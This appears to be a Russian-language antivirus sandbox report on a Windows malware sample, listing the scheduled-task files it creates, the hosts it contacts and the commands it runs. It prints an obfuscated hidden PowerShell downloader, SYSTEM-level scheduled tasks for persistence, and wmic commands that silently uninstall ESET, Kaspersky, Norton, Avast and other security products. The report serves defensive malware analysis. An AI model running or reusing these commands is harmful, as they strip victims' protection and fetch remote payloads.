Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\blackball
- <SYSTEM32>\tasks\o2hay7
- <SYSTEM32>\tasks\2hvsv36kdqn\0v17npdlo
- <SYSTEM32>\tasks\microsoft\windows\x8zscm1kw49\lzfkjtc
Сетевая активность
Подключается к
- 'public-trust.com':80
TCP
Запросы HTTP GET
- http://t.##ynx.com/a.jsp?ms################################################################################
UDP
- DNS ASK t.##3r0.com
- DNS ASK microsoft.com
- DNS ASK t.##r9g.com
- DNS ASK t.##ynx.com
- DNS ASK public-trust.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]:...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
- '<SYSTEM32>\schtasks.exe' /run /tn 2hvsV36kDqN\0V17NPdlo
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn 2hvsV36kDqN\0V17NPdlo /F /tr "powershell -w hidden -c PS_CMD"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]:...
- '<SYSTEM32>\schtasks.exe' /run /tn \O2haY7
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \O2haY7 /F /tr "powershell -w hidden -c PS_CMD"
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball
- '<SYSTEM32>\cmd.exe' /c C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe /verysilent /suppressmsgboxes /norestart
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Norton Security%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
- '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\x8ZscM1KW49\LzFkJtC /F /tr "powershell -w hidden -c PS_CMD"
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%AntiVirus%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Security%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%avp%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%avast%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Eset%'" call uninstall /nointeractive
- '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
- '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\x8ZscM1KW49\LzFkJtC
